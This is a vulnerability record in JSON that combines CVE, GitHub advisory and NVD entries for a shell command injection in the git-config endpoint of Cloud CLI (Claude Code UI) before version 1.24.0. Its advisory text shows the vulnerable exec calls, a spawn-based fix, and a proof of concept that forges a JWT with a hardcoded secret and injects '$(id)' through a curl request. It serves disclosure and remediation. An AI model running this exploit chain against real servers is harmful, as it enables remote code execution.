{"id":"CVE-2026-31861","aliases":["CVE-2026-31861","GHSA-7fv4-fmmc-86g2"],"related":[],"kind":"vulnerability","state":"published","title":"Shell Command Injection in Git Routes [CloudCLI UI]","summary":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","source":"cvelist"},{"lang":"en","text":"# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Cloud CLI (también conocida como Claude Code UI) es una interfaz de usuario de escritorio y móvil para Claude Code, Cursor CLI, Codex y Gemini-CLI. Antes de la versión 1.24.0, el endpoint /API/user/git-config construye comandos de shell interpolando valores de gitName y gitEmail proporcionados por el usuario en cadenas de comandos pasadas a child_process.exec(). La entrada se coloca entre comillas dobles y solo ' \" ' se escapa, pero los backticks (`), la sustitución de comandos $() y las secuencias \\ son todas interpretadas dentro de cadenas entre comillas dobles en bash. Esto permite a atacantes autenticados ejecutar comandos arbitrarios del sistema operativo a través del endpoint de configuración de git. Esta vulnerabilidad se corrige en la versión 1.24.0.","source":"nvd"}],"published":"2026-03-10T23:57:23.000Z","modified":"2026-06-17T10:34:39.100Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 1.24.0","status":"affected"}],"vendor":"siteboon","product":"claudecodeui","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.24.0"}],"ecosystem":"npm","package":"@siteboon/claude-code-ui","purl":"pkg:npm/%40siteboon/claude-code-ui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.24.0"}],"vendor":"cloudcli","product":"cloud_cli","cpe":"cpe:2.3:a:cloudcli:cloud_cli:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31861","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/siteboon/claudecodeui","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-03-12T14:07:14.414Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-31861","url":"https://www.cve.org/CVERecord?id=CVE-2026-31861","licence":"CVE Terms of Use","modified":"2026-03-12T14:07:17.766Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7fv4-fmmc-86g2","url":"https://github.com/advisories/GHSA-7fv4-fmmc-86g2","licence":"CC-BY-4.0","modified":"2026-03-13T10:56:25.434Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-31861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31861","licence":"Public domain","modified":"2026-06-17T10:34:39.100Z"}],"updatedAt":"2026-11-25T22:59:15.758Z","epss":{"score":0.06848,"percentile":0.94171,"date":"2026-12-01T12:00:22.000Z"}}